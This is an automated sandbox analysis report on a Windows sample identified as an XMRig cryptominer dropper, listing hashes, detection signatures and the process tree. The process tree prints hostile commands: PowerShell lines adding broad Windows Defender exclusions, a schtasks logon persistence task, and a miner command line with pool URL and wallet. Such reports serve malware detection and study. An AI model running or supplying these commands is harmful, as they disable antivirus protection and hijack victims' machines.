Analysis
-
max time kernel
149s -
max time network
131s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
03/02/2025, 00:49
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
software.exe
Resource
win7-20240903-en
windows7-x64
17 signatures
150 seconds
Behavioral task
behavioral2
Sample
software.exe
Resource
win10v2004-20250129-en
windows10-2004-x64
20 signatures
150 seconds
General
-
Target
software.exe
-
Size
2.1MB
-
MD5
6648600886e0f5d8724a40f3464ab25f
-
SHA1
d948a4a0013c122aa39f000756af32bf539407be
-
SHA256
61bb0d4b9f339c0a84cbf52599127b716209f54599b023bdab0a75a062dfe678
-
SHA512
11a9df844e7d2f5fcbbb7bb7e6b9554446cfc752d73504dc329fe7c50aeb5d4141ab1af825c1b14da4f386deaa6ddcfdb5ec7149a437c3c8e8a513f0665b5b0a
-
SSDEEP
49152:d4N7/8t5eYbaB809DhpravdvAtm6X/rxfAm1Oa8kbsb190yIV72:Kk/aB807pravdgX/rxfRYa8kbA0F72
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 17 IoCs
resource yara_rule behavioral1/memory/2316-52-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-62-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-68-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-72-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-66-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-64-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-60-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-58-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-56-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-54-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-71-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-75-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-79-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-78-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-77-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-76-0x0000000140000000-0x0000000140786000-memory.dmp xmrig behavioral1/memory/2316-85-0x0000000140000000-0x0000000140786000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1948 powershell.exe 2256 powershell.exe 2736 powershell.exe 2816 powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 1820 services64.exe 1640 sihost64.exe -
Loads dropped DLL 2 IoCs
pid Process 1468 cmd.exe 2932 conhost.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\taskschd.msc mmc.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2932 set thread context of 2316 2932 conhost.exe 48 -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2800 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2480 conhost.exe 2256 powershell.exe 2736 powershell.exe 2932 conhost.exe 2932 conhost.exe 2816 powershell.exe 1948 powershell.exe 2316 explorer.exe 2316 explorer.exe 2316 explorer.exe 2316 explorer.exe 2316 explorer.exe 2316 explorer.exe 2316 explorer.exe 2316 explorer.exe 2316 explorer.exe 2316 explorer.exe 2316 explorer.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2316 explorer.exe 2284 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2284 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2480 conhost.exe Token: SeDebugPrivilege 2256 powershell.exe Token: SeDebugPrivilege 2736 powershell.exe Token: SeDebugPrivilege 2932 conhost.exe Token: SeDebugPrivilege 2816 powershell.exe Token: SeLockMemoryPrivilege 2316 explorer.exe Token: SeLockMemoryPrivilege 2316 explorer.exe Token: SeDebugPrivilege 1948 powershell.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe Token: 33 1552 mmc.exe Token: SeIncBasePriorityPrivilege 1552 mmc.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe 2284 taskmgr.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1552 mmc.exe 1552 mmc.exe -
Suspicious use of WriteProcessMemory 61 IoCs
description pid Process procid_target PID 2708 wrote to memory of 2480 2708 software.exe 31 PID 2708 wrote to memory of 2480 2708 software.exe 31 PID 2708 wrote to memory of 2480 2708 software.exe 31 PID 2708 wrote to memory of 2480 2708 software.exe 31 PID 2480 wrote to memory of 2220 2480 conhost.exe 32 PID 2480 wrote to memory of 2220 2480 conhost.exe 32 PID 2480 wrote to memory of 2220 2480 conhost.exe 32 PID 2220 wrote to memory of 2256 2220 cmd.exe 34 PID 2220 wrote to memory of 2256 2220 cmd.exe 34 PID 2220 wrote to memory of 2256 2220 cmd.exe 34 PID 2480 wrote to memory of 2740 2480 conhost.exe 36 PID 2480 wrote to memory of 2740 2480 conhost.exe 36 PID 2480 wrote to memory of 2740 2480 conhost.exe 36 PID 2740 wrote to memory of 2800 2740 cmd.exe 38 PID 2740 wrote to memory of 2800 2740 cmd.exe 38 PID 2740 wrote to memory of 2800 2740 cmd.exe 38 PID 2220 wrote to memory of 2736 2220 cmd.exe 39 PID 2220 wrote to memory of 2736 2220 cmd.exe 39 PID 2220 wrote to memory of 2736 2220 cmd.exe 39 PID 2480 wrote to memory of 1468 2480 conhost.exe 40 PID 2480 wrote to memory of 1468 2480 conhost.exe 40 PID 2480 wrote to memory of 1468 2480 conhost.exe 40 PID 1468 wrote to memory of 1820 1468 cmd.exe 42 PID 1468 wrote to memory of 1820 1468 cmd.exe 42 PID 1468 wrote to memory of 1820 1468 cmd.exe 42 PID 1820 wrote to memory of 2932 1820 services64.exe 43 PID 1820 wrote to memory of 2932 1820 services64.exe 43 PID 1820 wrote to memory of 2932 1820 services64.exe 43 PID 1820 wrote to memory of 2932 1820 services64.exe 43 PID 2932 wrote to memory of 2940 2932 conhost.exe 44 PID 2932 wrote to memory of 2940 2932 conhost.exe 44 PID 2932 wrote to memory of 2940 2932 conhost.exe 44 PID 2940 wrote to memory of 2816 2940 cmd.exe 46 PID 2940 wrote to memory of 2816 2940 cmd.exe 46 PID 2940 wrote to memory of 2816 2940 cmd.exe 46 PID 2932 wrote to memory of 1640 2932 conhost.exe 47 PID 2932 wrote to memory of 1640 2932 conhost.exe 47 PID 2932 wrote to memory of 1640 2932 conhost.exe 47 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2932 wrote to memory of 2316 2932 conhost.exe 48 PID 2940 wrote to memory of 1948 2940 cmd.exe 49 PID 2940 wrote to memory of 1948 2940 cmd.exe 49 PID 2940 wrote to memory of 1948 2940 cmd.exe 49 PID 1640 wrote to memory of 2428 1640 sihost64.exe 50 PID 1640 wrote to memory of 2428 1640 sihost64.exe 50 PID 1640 wrote to memory of 2428 1640 sihost64.exe 50 PID 1640 wrote to memory of 2428 1640 sihost64.exe 50 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\software.exe"C:\Users\Admin\AppData\Local\Temp\software.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\software.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2480 -
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit3⤵
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2256
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2736
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"4⤵
- Scheduled Task/Job: Scheduled Task
PID:2800
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Users\Admin\AppData\Local\Temp\services64.exeC:\Users\Admin\AppData\Local\Temp\services64.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1820 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"5⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit6⤵
- Suspicious use of WriteProcessMemory
PID:2940 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"7⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2816
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"7⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"7⤵PID:2428
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=49tv1FSCwfVSa2wwZj2NLKHxDzGJWsKG8X39b47qb4htVxujqMSxzvr5KSqNwMaJo9DW5j8XXhaxqHvwvBmDhjT6KmbArrz --pass=4wher --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2316
-
-
-
-
-
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s1⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1552
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2284
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.1MB
MD56648600886e0f5d8724a40f3464ab25f
SHA1d948a4a0013c122aa39f000756af32bf539407be
SHA25661bb0d4b9f339c0a84cbf52599127b716209f54599b023bdab0a75a062dfe678
SHA51211a9df844e7d2f5fcbbb7bb7e6b9554446cfc752d73504dc329fe7c50aeb5d4141ab1af825c1b14da4f386deaa6ddcfdb5ec7149a437c3c8e8a513f0665b5b0a
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD549862a320920e6d0f6852e9038cd52b7
SHA134ccf2c972a115ee59e95cdd52f30a5f5ba8f6ca
SHA256dc0f53db646452391e59096f87ac945de3405c1923a5e0946d04be6504ea19c3
SHA5128f73857f911039ce8b75d0363e9a9726fb3c79474518e7f3fe503f172ca29a5df8a37c335a999466b724119bd1633f8506f33674e8d42273f0145073654f0ba3
-
Filesize
32KB
MD5a68d5a40285ece910927cdac2700f256
SHA1af571db44bfdfa26f3f988bba5844278b9cd3352
SHA2562d6a6f19d127048861f7427b6b7b9e760a110f516f5d199ba8b9d82e39e58f90
SHA51243bd73b09a0c368e5d84aad4cc7dd1b4565e2e9e52781013edc1202a22fc428788521609e630edcc34b558132a1a862cf3eb99f8099ff17f059fa00eef2b0aa2